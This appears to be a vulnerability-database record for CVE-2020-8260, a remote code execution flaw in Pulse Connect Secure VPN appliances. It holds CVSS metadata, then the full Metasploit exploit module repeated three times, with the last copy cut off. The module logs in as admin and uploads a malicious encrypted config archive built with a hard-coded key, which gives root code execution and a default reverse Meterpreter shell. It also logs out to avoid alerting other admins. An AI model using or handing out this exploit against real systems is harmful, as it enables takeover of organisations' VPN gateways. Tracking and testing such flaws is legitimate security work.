A vulnerability in the Pulse Connect Secure < 9.1R9 admin web interface could allow an authenticated attacker to perform an arbitrary code execution using uncontrolled gzip extraction.
{"attackerkb": [{"lastseen": "2022-10-21T15:36:28", "description": "A vulnerability in the Pulse Connect Secure < 9.1R9 admin web interface could allow an authenticated attacker to perform an arbitrary code execution using uncontrolled gzip extraction.\n\n \n**Recent assessments:** \n \nAssessed Attacker Value: 0 \nAssessed Attacker Value: 0Assessed Attacker Value: 0\n", "cvss3": {"exploitabilityScore": 1.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "HIGH", "baseScore": 7.2, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-10-28T00:00:00", "type": "attackerkb", "title": "CVE-2020-8260", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-8260"], "modified": "2020-10-31T00:00:00", "id": "AKB:EE68C1DD-4843-420D-B126-5C0A7277EFD4", "href": "https://attackerkb.com/topics/MToDzANCY4/cve-2020-8260", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}], "cisa_kev": [{"lastseen": "2023-01-09T23:10:03", "description": "A vulnerability in the Pulse Connect Secure < 9.1R9 admin web interface could allow an authenticated attacker to perform an arbitrary code execution using uncontrolled gzip extraction.", "cvss3": {"exploitabilityScore": 1.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "HIGH", "baseScore": 7.2, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-11-03T00:00:00", "type": "cisa_kev", "title": "Pulse Connect Secure Remote Code Execution Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-8260"], "modified": "2021-11-03T00:00:00", "id": "CISA-KEV-CVE-2020-8260", "href": "", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}], "metasploit": [{"lastseen": "2022-11-03T19:06:09", "description": "The Pulse Connect Secure appliance before 9.1R9 suffers from an uncontrolled gzip extraction vulnerability which allows an attacker to overwrite arbitrary files, resulting in Remote Code Execution as root. Admin credentials are required for successful exploitation. Of note, MANY binaries are not in `$PATH`, but are located in `/home/bin/`.\n", "cvss3": {}, "published": "2020-12-07T15:54:20", "type": "metasploit", "title": "Pulse Secure VPN gzip RCE", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2020-8260"], "modified": "2021-04-12T23:50:31", "id": "MSF:EXPLOIT-LINUX-HTTP-PULSE_SECURE_GZIP_RCE-", "href": "https://www.rapid7.com/db/modules/exploit/linux/http/pulse_secure_gzip_rce/", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n\n Rank = ExcellentRanking\n\n include Msf::Exploit::Remote::HttpClient\n include Msf::Exploit::CmdStager\n\n ENCRYPTION_KEY = \"\\x7e\\x95\\x42\\x1a\\x6b\\x88\\x66\\x41\\x43\\x1b\\x32\\xc5\\x24\\x42\\xe2\\xe4\\x83\\xf8\\x1f\\x58\\xb0\\xe9\\xe9\\xa5\".b\n\n def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'Pulse Secure VPN gzip RCE',\n 'Description' => %q{\n The Pulse Connect Secure appliance before 9.1R9 suffers from an uncontrolled gzip extraction vulnerability\n which allows an attacker to overwrite arbitrary files, resulting in Remote Code Execution as root.\n Admin credentials are required for successful exploitation.\n Of note, MANY binaries are not in `$PATH`, but are located in `/home/bin/`.\n },\n 'Author' => [\n 'h00die', # msf module\n 'Spencer McIntyre', # msf module\n 'Richard Warren <richard.warren@nccgroup.com>', # original PoC, discovery\n 'David Cash <david.cash@nccgroup.com>', # original PoC, discovery\n ],\n 'References' => [\n ['URL', 'https://gist.github.com/rxwx/03a036d8982c9a3cead0c053cf334605'],\n ['URL', 'https://research.nccgroup.com/2020/10/26/technical-advisory-pulse-connect-secure-rce-via-uncontrolled-gzip-extraction-cve-2020-8260/'],\n ['URL', 'https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44601'],\n ['CVE', '2020-8260']\n ],\n 'DisclosureDate' => '2020-10-26',\n 'License' => MSF_LICENSE,\n 'Platform' => ['unix', 'linux'],\n 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],\n 'Privileged' => true,\n 'Targets' => [\n [\n 'Unix In-Memory',\n {\n 'Platform' => 'unix',\n 'Arch' => ARCH_CMD,\n 'Type' => :unix_memory,\n 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/generic' }\n }\n ],\n [\n 'Linux Dropper',\n {\n 'Platform' => 'linux',\n 'Arch' => [ARCH_X86, ARCH_X64],\n 'Type' => :linux_dropper,\n 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp' }\n }\n ]\n ],\n 'Payload' => { 'Compat' => { 'ConnectionType' => '-bind' } },\n 'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true, 'CMDSTAGER::FLAVOR' => 'curl' },\n 'DefaultTarget' => 1,\n 'Notes' => {\n 'Stability' => [CRASH_SAFE],\n 'Reliability' => [REPEATABLE_SESSION],\n 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK, CONFIG_CHANGES],\n 'RelatedModules' => ['auxiliary/gather/pulse_secure_file_disclosure']\n }\n )\n )\n\n register_options([\n OptString.new('TARGETURI', [true, 'The URI of the application', '/']),\n OptString.new('USERNAME', [true, 'The username to login with', 'admin']),\n OptString.new('PASSWORD', [true, 'The password to login with', '123456'])\n ])\n\n register_advanced_options([\n OptFloat.new('CMDSTAGER::DELAY', [ true, 'Delay between command executions', 1.5 ]),\n ])\n end\n\n def check(exploiting: false)\n login\n res = send_request_cgi({ 'uri' => normalize_uri('dana-admin', 'misc', 'admin.cgi') })\n fail_with(Failure::UnexpectedReply, 'Failed to retrieve the version information') unless res&.code == 200\n version = res.body.scan(%r{id=\"span_stats_counter_total_users_count\"[^>]+>([^<(]+)(?:\\(build (\\d+)\\))?</span>})&.last\n fail_with(Failure::UnexpectedReply, 'Failed to retrieve the version information') unless version\n version, build = version\n\n return CheckCode::Unknown unless version.include?('R')\n\n version, revision = version.split('R', 2)\n print_status(\"Version #{version.strip}, revision #{revision.strip}, build #{build.strip} found\")\n return CheckCode::Appears if version.to_f <= 9.1 && revision.to_f < 9\n\n CheckCode::Detected\n rescue Msf::Exploit::Failed\n CheckCode::Unknown\n ensure\n logout unless exploiting\n end\n\n def exploit\n case (checkcode = check(exploiting: true))\n when Exploit::CheckCode::Vulnerable, Exploit::CheckCode::Appears\n print_good(checkcode.message)\n when Exploit::CheckCode::Detected\n print_warning(checkcode.message)\n else\n fail_with(Module::Failure::Unknown, checkcode.message.to_s)\n end\n\n case target['Type']\n when :unix_memory\n execute_command(payload.encoded)\n when :linux_dropper\n execute_cmdstager(\n linemax: 262144, # 256KiB\n delay: datastore['CMDSTAGER::DELAY']\n )\n end\n\n logout\n end\n\n def execute_command(command, _opts = {})\n trigger = Rex::Text.rand_text_alpha_upper(8)\n print_status(\"Exploit trigger will be at #{normalize_uri('dana-na', 'auth', 'setcookie.cgi')} with a header of #{trigger}\")\n\n config = build_malicious_config(command, trigger)\n res = upload_config(config)\n\n fail_with(Failure::UnexpectedReply, 'File upload failed') unless res&.code == 200\n\n print_status('Triggering RCE')\n send_request_cgi({\n 'uri' => normalize_uri(target_uri.path, 'dana-na', 'auth', 'setcookie.cgi'),\n 'headers' => { trigger => trigger }\n })\n end\n\n def res_get_xsauth(res)\n res.body.scan(%r{name=\"xsauth\" value=\"([^\"]+)\"/>})&.last&.first\n end\n\n def upload_config(config)\n print_status('Requesting backup config page')\n res = send_request_cgi({\n 'uri' => normalize_uri(target_uri.path, 'dana-admin', 'cached', 'config', 'config.cgi'),\n 'headers' => { 'Referer' => \"#{full_uri('/dana-admin/cached/config/config.cgi')}?type=system\" },\n 'vars_get' => { 'type' => 'system' }\n })\n fail_with(Failure::UnexpectedReply, 'Failed to request the backup configuration page') unless res&.code == 200\n xsauth = res_get_xsauth(res)\n fail_with(Failure::UnexpectedReply, 'Failed to get the xsauth token') if xsauth.nil?\n\n post_data = Rex::MIME::Message.new\n post_data.add_part(xsauth, nil, nil, 'form-data; name=\"xsauth\"')\n post_data.add_part('Import', nil, nil, 'form-data; name=\"op\"')\n post_data.add_part('system', nil, nil, 'form-data; name=\"type\"')\n post_data.add_part('8', nil, nil, 'form-data; name=\"optWhat\"')\n post_data.add_part('', nil, nil, 'form-data; name=\"txtPassword1\"')\n post_data.add_part('Import Config', nil, nil, 'form-data; name=\"btnUpload\"')\n post_data.add_part(config, 'application/octet-stream', 'binary', 'form-data; name=\"uploaded_file\"; filename=\"system.cfg\"')\n\n print_status('Uploading encrypted config backup')\n send_request_cgi({\n 'uri' => normalize_uri(target_uri.path, 'dana-admin', 'cached', 'config', 'import.cgi'),\n 'method' => 'POST',\n 'headers' => { 'Referer' => \"#{full_uri('/dana-admin/cached/config/config.cgi')}?type=system\" },\n 'data' => post_data.to_s,\n 'ctype' => \"multipart/form-data; boundary=#{post_data.bound}\"\n })\n end\n\n def login\n res = send_request_cgi({\n 'uri' => normalize_uri(target_uri.path, 'dana-na', 'auth', 'url_admin', 'login.cgi'),\n 'method' => 'POST',\n 'vars_post' => {\n 'tz_offset' => '-300',\n 'username' => datastore['USERNAME'],\n 'password' => datastore['PASSWORD'],\n 'realm' => 'Admin Users',\n 'btnSubmit' => 'Sign In'\n },\n 'keep_cookies' => true\n })\n\n fail_with(Failure::UnexpectedReply, 'Login failed') unless res&.code == 302\n location = res.headers['Location']\n fail_with(Failure::NoAccess, 'Login failed') if location.include?('failed')\n\n return unless location.include?('admin%2Dconfirm')\n\n # if the account we login with is already logged in, or another admin is logged in, a warning is displayed. Click through it.\n print_status('Other admin sessions detected, continuing')\n res = send_request_cgi({ 'uri' => location, 'keep_cookies' => true })\n fail_with(Failure::UnexpectedReply, 'Login failed') unless res&.code == 200\n fds = res.body.scan(/name=\"FormDataStr\" value=\"([^\"]+)\">/).last\n xsauth = res_get_xsauth(res)\n fail_with(Failure::UnexpectedReply, 'Login failed (missing form elements)') unless fds && xsauth\n\n res = send_request_cgi({\n 'uri' => normalize_uri(target_uri.path, 'dana-na', 'auth', 'url_admin', 'login.cgi'),\n 'method' => 'POST',\n 'vars_post' => {\n 'btnContinue' => 'Continue the session',\n 'FormDataStr' => fds.first,\n 'xsauth' => xsauth\n },\n 'keep_cookies' => true\n })\n fail_with(Failure::UnexpectedReply, 'Login failed') unless res\n end\n\n def logout\n print_status('Logging out to prevent warnings to other admins')\n res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'dana-admin', 'cached', 'config', 'config.cgi') })\n fail_with(Failure::UnexpectedReply, 'Logout failed') unless res&.code == 200\n\n logout_uri = res.body.scan(%r{/dana-na/auth/logout\\.cgi\\?xsauth=\\w+}).first\n fail_with(Failure::UnexpectedReply, 'Logout failed') if logout_uri.nil?\n\n res = send_request_cgi({ 'uri' => logout_uri })\n fail_with(Failure::UnexpectedReply, 'Logout failed') unless res&.code == 302\n end\n\n def build_malicious_config(cmd, trigger)\n payload_script = \"#{Rex::Text.rand_text_alphanumeric(rand(6..13))}.sh\"\n perl = <<~PERL\n if (length $ENV{HTTP_#{trigger}}){\n chmod 0775, \"/data/var/runtime/tmp/tt/#{payload_script}\";\n system(\"env /data/var/runtime/tmp/tt/#{payload_script}\");\n }\n PERL\n tarfile = StringIO.new\n Rex::Tar::Writer.new(tarfile) do |tar|\n tar.mkdir('tmp', 509)\n tar.mkdir('tmp/tt', 509)\n tar.add_file('tmp/tt/setcookie.thtml.ttc', 511) do |tio|\n tio.write perl\n end\n tar.add_file(\"tmp/tt/#{payload_script}\", 511) do |tio|\n tio.write \"PATH=/home/bin:$PATH\\n\"\n tio.write \"rm -- \\\"$0\\\"\\n\"\n tio.write cmd\n end\n end\n\n gzfile = StringIO.new\n gz = Zlib::GzipWriter.new(gzfile)\n gz.write(tarfile.string)\n gz.close\n\n encrypt_config(gzfile.string)\n end\n\n def encrypt_config(config_blob)\n cipher = OpenSSL::Cipher.new('DES-EDE3-CFB').encrypt\n iv = cipher.iv = cipher.random_iv\n cipher.key = ENCRYPTION_KEY\n\n md5 = OpenSSL::Digest.new('MD5', \"#{iv}\\x00#{[config_blob.length].pack('V')}\")\n\n ciphertext = cipher.update(config_blob)\n ciphertext << cipher.final\n md5 << ciphertext\n\n cipher.reset\n \"\\x09#{iv}\\x00#{[ciphertext.length].pack('V') + ciphertext + cipher.update(md5.digest) + cipher.final}\"\n end\nend\n", "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/linux/http/pulse_secure_gzip_rce.rb", "cvss": {"score": 0.0, "vector": "NONE"}}], "packetstorm": [{"lastseen": "2020-12-18T19:20:49", "description": "", "cvss3": {}, "published": "2020-12-18T00:00:00", "type": "packetstorm", "title": "Pulse Secure VPN Remote Code Execution", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2020-8260"], "modified": "2020-12-18T00:00:00", "id": "PACKETSTORM:160619", "href": "https://packetstormsecurity.com/files/160619/Pulse-Secure-VPN-Remote-Code-Execution.html", "sourceData": "`## \n# This module requires Metasploit: https://metasploit.com/download \n# Current source: https://github.com/rapid7/metasploit-framework \n## \n \nclass MetasploitModule < Msf::Exploit::Remote \n \nRank = ExcellentRanking \n \ninclude Msf::Exploit::Remote::HttpClient \ninclude Msf::Exploit::CmdStager \n \nENCRYPTION_KEY = \"\\x7e\\x95\\x42\\x1a\\x6b\\x88\\x66\\x41\\x43\\x1b\\x32\\xc5\\x24\\x42\\xe2\\xe4\\x83\\xf8\\x1f\\x58\\xb0\\xe9\\xe9\\xa5\".b \n \ndef initialize(info = {}) \nsuper( \nupdate_info( \ninfo, \n'Name' => 'Pulse Secure VPN gzip RCE', \n'Description' => %q{ \nThe Pulse Connect Secure appliance before 9.1R9 suffers from an uncontrolled gzip extraction vulnerability \nwhich allows an attacker to overwrite arbitrary files, resulting in Remote Code Execution as root. \nAdmin credentials are required for successful exploitation. \nOf note, MANY binaries are not in `$PATH`, but are located in `/home/bin/`. \n}, \n'Author' => [ \n'h00die', # msf module \n'Spencer McIntyre', # msf module \n'Richard Warren <richard.warren@nccgroup.com>', # original PoC, discovery \n'David Cash <david.cash@nccgroup.com>', # original PoC, discovery \n], \n'References' => [ \n['URL', 'https://gist.github.com/rxwx/03a036d8982c9a3cead0c053cf334605'], \n['URL', 'https://research.nccgroup.com/2020/10/26/technical-advisory-pulse-connect-secure-rce-via-uncontrolled-gzip-extraction-cve-2020-8260/'], \n['URL', 'https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44601'], \n['CVE', '2020-8260'] \n], \n'DisclosureDate' => '2020-10-26', \n'License' => MSF_LICENSE, \n'Platform' => ['unix', 'linux'], \n'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], \n'Privileged' => true, \n'Targets' => [ \n[ \n'Unix In-Memory', \n{ \n'Platform' => 'unix', \n'Arch' => ARCH_CMD, \n'Type' => :unix_memory, \n'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/generic' } \n} \n], \n[ \n'Linux Dropper', \n{ \n'Platform' => 'linux', \n'Arch' => [ARCH_X86, ARCH_X64], \n'Type' => :linux_dropper, \n'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp' } \n} \n] \n], \n'Payload' => { 'Compat' => { 'ConnectionType' => '-bind' } }, \n'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true, 'CMDSTAGER::FLAVOR' => 'curl' }, \n'DefaultTarget' => 1, \n'Notes' => { \n'Stability' => [CRASH_SAFE], \n'Reliability' => [REPEATABLE_SESSION], \n'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK, CONFIG_CHANGES], \n'RelatedModules' => ['auxiliary/gather/pulse_secure_file_disclosure'] \n} \n) \n) \n \nregister_options([ \nOptString.new('TARGETURI', [true, 'The URI of the application', '/']), \nOptString.new('USERNAME', [true, 'The username to login with', 'admin']), \nOptString.new('PASSWORD', [true, 'The password to login with', '123456']) \n]) \n \nregister_advanced_options([ \nOptFloat.new('CMDSTAGER::DELAY', [ true, 'Delay between command executions', 1.5 ]), \n]) \nend \n \ndef check(exploiting: false) \nlogin \nres = send_request_cgi({ 'uri' => normalize_uri('dana-admin', 'misc', 'admin.cgi') }) \nfail_with(Failure::UnexpectedReply, 'Failed to retrieve the version information') unless res&.code == 200 \nversion = res.body.scan(%r{id=\"span_stats_counter_total_users_count\"[^>]+>([^<(]+)(?:\\(build (\\d+)\\))?</span>})&.last \nfail_with(Failure::UnexpectedReply, 'Failed to retrieve the version information') unless version \nversion, build = version \n \nreturn CheckCode::Unknown unless version.include?('R') \n \nversion, revision = version.split('R', 2) \nprint_status(\"Version #{version.strip}, revision #{revision.strip}, build #{build.strip} found\") \nreturn CheckCode::Appears if version.to_f <= 9.1 && revision.to_f < 9 \n \nCheckCode::Detected \nrescue Msf::Exploit::Failed \nCheckCode::Unknown \nensure \nlogout unless exploiting \nend \n \ndef exploit \ncase (checkcode = check(exploiting: true)) \nwhen Exploit::CheckCode::Vulnerable, Exploit::CheckCode::Appears \nprint_good(checkcode.message) \nwhen Exploit::CheckCode::Detected \nprint_warning(checkcode.message) \nelse \nfail_with(Module::Failure::Unknown, checkcode.message.to_s) \nend \n \ncase target['Type'] \nwhen :unix_memory \nexecute_command(payload.encoded) \nwhen :linux_dropper \nexecute_cmdstager( \nlinemax: 262144, # 256KiB \ndelay: datastore['CMDSTAGER::DELAY'] \n) \nend \n \nlogout \nend \n \ndef execute_command(command, _opts = {}) \ntrigger = Rex::Text.rand_text_alpha_upper(8) \nprint_status(\"Exploit trigger will be at #{normalize_uri('dana-na', 'auth', 'setcookie.cgi')} with a header of #{trigger}\") \n \nconfig = build_malicious_config(command, trigger) \nres = upload_config(config) \n \nfail_with(Failure::UnexpectedReply, 'File upload failed') unless res&.code == 200 \n \nprint_status('Triggering RCE') \nsend_request_cgi({ \n'uri' => normalize_uri(target_uri.path, 'dana-na', 'auth', 'setcookie.cgi'), \n'headers' => { trigger => trigger } \n}) \nend \n \ndef res_get_xsauth(res) \nres.body.scan(%r{name=\"xsauth\" value=\"([^\"]+)\"/>})&.last&.first \nend \n \ndef upload_config(config) \nprint_status('Requesting backup config page') \nres = send_request_cgi({ \n'uri' => normalize_uri(target_uri.path, 'dana-admin', 'cached', 'config', 'config.cgi'), \n'headers' => { 'Referer' => \"#{full_uri('/dana-admin/cached/config/config.cgi')}?type=system\" }, \n'vars_get' => { 'type' => 'system' } \n}) \nfail_with(Failure::UnexpectedReply, 'Failed to request the backup configuration page') unless res&.code == 200 \nxsauth = res_get_xsauth(res) \nfail_with(Failure::UnexpectedReply, 'Failed to get the xsauth token') if xsauth.nil? \n \npost_data = Rex::MIME::Message.new \npost_data.add_part(xsauth, nil, nil, 'form-data; name=\"xsauth\"') \npost_data.add_part('Import', nil, nil, 'form-data; name=\"op\"') \npost_data.add_part('system', nil, nil, 'form-data; name=\"type\"') \npost_data.add_part('8', nil, nil, 'form-data; name=\"optWhat\"') \npost_data.add_part('', nil, nil, 'form-data; name=\"txtPassword1\"') \npost_data.add_part('Import Config', nil, nil, 'form-data; name=\"btnUpload\"') \npost_data.add_part(config, 'application/octet-stream', 'binary', 'form-data; name=\"uploaded_file\"; filename=\"system.cfg\"') \n \nprint_status('Uploading encrypted config backup') \nsend_request_cgi({ \n'uri' => normalize_uri(target_uri.path, 'dana-admin', 'cached', 'config', 'import.cgi'), \n'method' => 'POST', \n'headers' => { 'Referer' => \"#{full_uri('/dana-admin/cached/config/config.cgi')}?type=system\" }, \n'data' => post_data.to_s, \n'ctype' => \"multipart/form-data; boundary=#{post_data.bound}\" \n}) \nend \n \ndef login \nres = send_request_cgi({ \n'uri' => normalize_uri(target_uri.path, 'dana-na', 'auth', 'url_admin', 'login.cgi'), \n'method' => 'POST', \n'vars_post' => { \n'tz_offset' => '-300', \n'username' => datastore['USERNAME'], \n'password' => datastore['PASSWORD'], \n'realm' => 'Admin Users', \n'btnSubmit' => 'Sign In' \n}, \n'keep_cookies' => true \n}) \n \nfail_with(Failure::UnexpectedReply, 'Login failed') unless res&.code == 302 \nlocation = res.headers['Location'] \nfail_with(Failure::NoAccess, 'Login failed') if location.include?('failed') \n \nreturn unless location.include?('admin%2Dconfirm') \n \n# if the account we login with is already logged in, or another admin is logged in, a warning is displayed. Click through it. \nprint_status('Other admin sessions detected, continuing') \nres = send_request_cgi({ 'uri' => location, 'keep_cookies' => true }) \nfail_with(Failure::UnexpectedReply, 'Login failed') unless res&.code == 200 \nfds = res.body.scan(/name=\"FormDataStr\" value=\"([^\"]+)\">/).last \nxsauth = res_get_xsauth(res) \nfail_with(Failure::UnexpectedReply, 'Login failed (missing form elements)') unless fds && xsauth \n \nres = send_request_cgi({ \n'uri' => normalize_uri(target_uri.path, 'dana-na', 'auth', 'url_admin', 'login.cgi'), \n'method' => 'POST', \n'vars_post' => { \n'btnContinue' => 'Continue the session', \n'FormDataStr' => fds.first, \n'xsauth' => xsauth \n}, \n'keep_cookies' => true \n}) \nfail_with(Failure::UnexpectedReply, 'Login failed') unless res \nend \n \ndef logout \nprint_status('Logging out to prevent warnings to other admins') \nres = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'dana-admin', 'cached', 'config', 'config.cgi') }) \nfail_with(Failure::UnexpectedReply, 'Logout failed') unless res&.code == 200 \n \nlogout_uri = res.body.scan(%r{/dana-na/auth/logout\\.cgi\\?xsauth=\\w+}).first \nfail_with(Failure::UnexpectedReply, 'Logout failed') if logout_uri.nil? \n \nres = send_request_cgi({ 'uri' => logout_uri }) \nfail_with(Failure::UnexpectedReply, 'Logout failed') unless res&.code == 302 \nend \n \ndef build_malicious_config(cmd, trigger) \npayload_script = \"#{Rex::Text.rand_text_alphanumeric(rand(6..13))}.sh\" \nperl = <<~PERL \nif (length $ENV{HTTP_#{trigger}}){ \nchmod 0775, \"/data/var/runtime/tmp/tt/#{payload_script}\"; \nsystem(\"env /data/var/runtime/tmp/tt/#{payload_script}\"); \n} \nPERL \ntarfile = StringIO.new \nGem::Package::TarWriter.new(tarfile) do |tar| \ntar.mkdir('tmp', 509) \ntar.mkdir('tmp/tt', 509) \ntar.add_file('tmp/tt/setcookie.thtml.ttc', 511) do |tio| \ntio.write perl \nend \ntar.add_file(\"tmp/tt/#{payload_script}\", 511) do |tio| \ntio.write \"PATH=/home/bin:$PATH\\n\" \ntio.write \"rm -- \\\"$0\\\"\\n\" \ntio.write cmd \nend \nend \n \ngzfile = StringIO.new \ngz = Zlib::GzipWriter.new(gzfile) \ngz.write(tarfile.string) \ngz.close \n \nencrypt_config(gzfile.string) \nend \n \ndef encrypt_config(config_blob) \ncipher = OpenSSL::Cipher.new('DES-EDE3-CFB').encrypt \niv = cipher.iv = cipher.random_iv \ncipher.key = ENCRYPTION_KEY \n \nmd5 = OpenSSL::Digest.new('MD5', \"#{iv}\\x00#{[config_blob.length].pack('V')}\") \n \nciphertext = cipher.update(config_blob) \nciphertext << cipher.final \nmd5 << ciphertext \n \ncipher.reset \n\"\\x09#{iv}\\x00#{[ciphertext.length].pack('V') + ciphertext + cipher.update(md5.digest) + cipher.final}\" \nend \nend \n`\n", "sourceHref": "https://packetstormsecurity.com/files/download/160619/pulse_secure_gzip_rce.rb.txt", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}], "zdt": [{"lastseen": "2021-12-25T17:22:23", "description": "The Pulse Connect Secure appliance versions prior to 9.1R9 suffer from an uncontrolled gzip extraction vulnerability which allows an attacker to overwrite arbitrary files, resulting in remote code execution as root. Admin credentials are required for successful exploitation.", "cvss3": {"exploitabilityScore": 1.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.2, "privilegesRequired": "HIGH", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-12-18T00:00:00", "type": "zdt", "title": "Pulse Secure VPN Remote Code Execution Exploit", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-8260"], "modified": "2020-12-18T00:00:00", "id": "1337DAY-ID-35525", "href": "https://0day.today/exploit/description/35525", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n\n Rank = ExcellentRanking\n\n include Msf::Exploit::Remote::HttpClient\n include Msf::Exploit::CmdStager\n\n ENCRYPTION_KEY = \"\\x7e\\x95\\x42\\x1a\\x6b\\x88\\x66\\x41\\x43\\x1b\\x32\\xc5\\x24\\x42\\xe2\\xe4\\x83\\xf8\\x1f\\x58\\xb0\\xe9\\xe9\\xa5\".b\n\n def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'Pulse Secure VPN gzip RCE',\n 'Description' => %q{\n The Pulse Connect Secure appliance before 9.1R9 suffers from an uncontrolled gzip extraction vulnerability\n which allows an attacker to overwrite arbitrary files, resulting in Remote Code Execution as root.\n Admin credentials are required for successful exploitation.\n Of note, MANY binaries are not in `$PATH`, but are located in `/home/bin/`.\n },\n 'Author' => [\n 'h00die', # msf module\n 'Spencer McIntyre', # msf module\n 'Richard Warren <[email\u00a0protected]>', # original PoC, discovery\n 'David Cash <[email\u00a0protected]>', # original PoC, discovery\n ],\n 'References' => [\n ['URL', 'https://gist.github.com/rxwx/03a036d8982c9a3cead0c053cf334605'],\n ['URL', 'https://research.nccgroup.com/2020/10/26/technical-advisory-pulse-connect-secure-rce-via-uncontrolled-gzip-extraction-cve-2020-8260/'],\n ['URL', 'https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44601'],\n ['CVE', '2020-8260']\n ],\n 'DisclosureDate' => '2020-10-26',\n 'License' => MSF_LICENSE,\n 'Platform' => ['unix', 'linux'],\n 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],\n 'Privileged' => true,\n 'Targets' => [\n [\n 'Unix In-Memory',\n {\n 'Platform' => 'unix',\n 'Arch' => ARCH_CMD,\n 'Type' => :unix_memory,\n 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/generic' }\n }\n ],\n [\n 'Linux Dropper',\n {\n 'Platform' => 'linux',\n 'Arch' => [ARCH_X86, ARCH_X64],\n 'Type' => :linux_dropper,\n 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp' }\n }\n ]\n ],\n 'Payload' => { 'Compat' => { 'ConnectionType' => '-bind' } },\n 'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true, 'CMDSTAGER::FLAVOR' => 'curl' },\n 'DefaultTarget' => 1,\n 'Notes' => {\n 'Stability' => [CRASH_SAFE],\n 'Reliability' => [REPEATABLE_SESSION],\n 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK, CONFIG_CHANGES],\n 'RelatedModules' => ['auxiliary/gather/pulse_secure_file_disclosure']\n }\n )\n )\n\n register_options([\n OptString.new('TARGETURI', [true, 'The URI of the application', '/']),\n OptString.new('USERNAME', [true, 'The username to login with', 'admin']),\n OptString.new('PASSWORD', [true, 'The password to login with', '123456'])\n ])\n\n register_advanced_options([\n OptFloat.new('CMDSTAGER::DELAY', [ true, 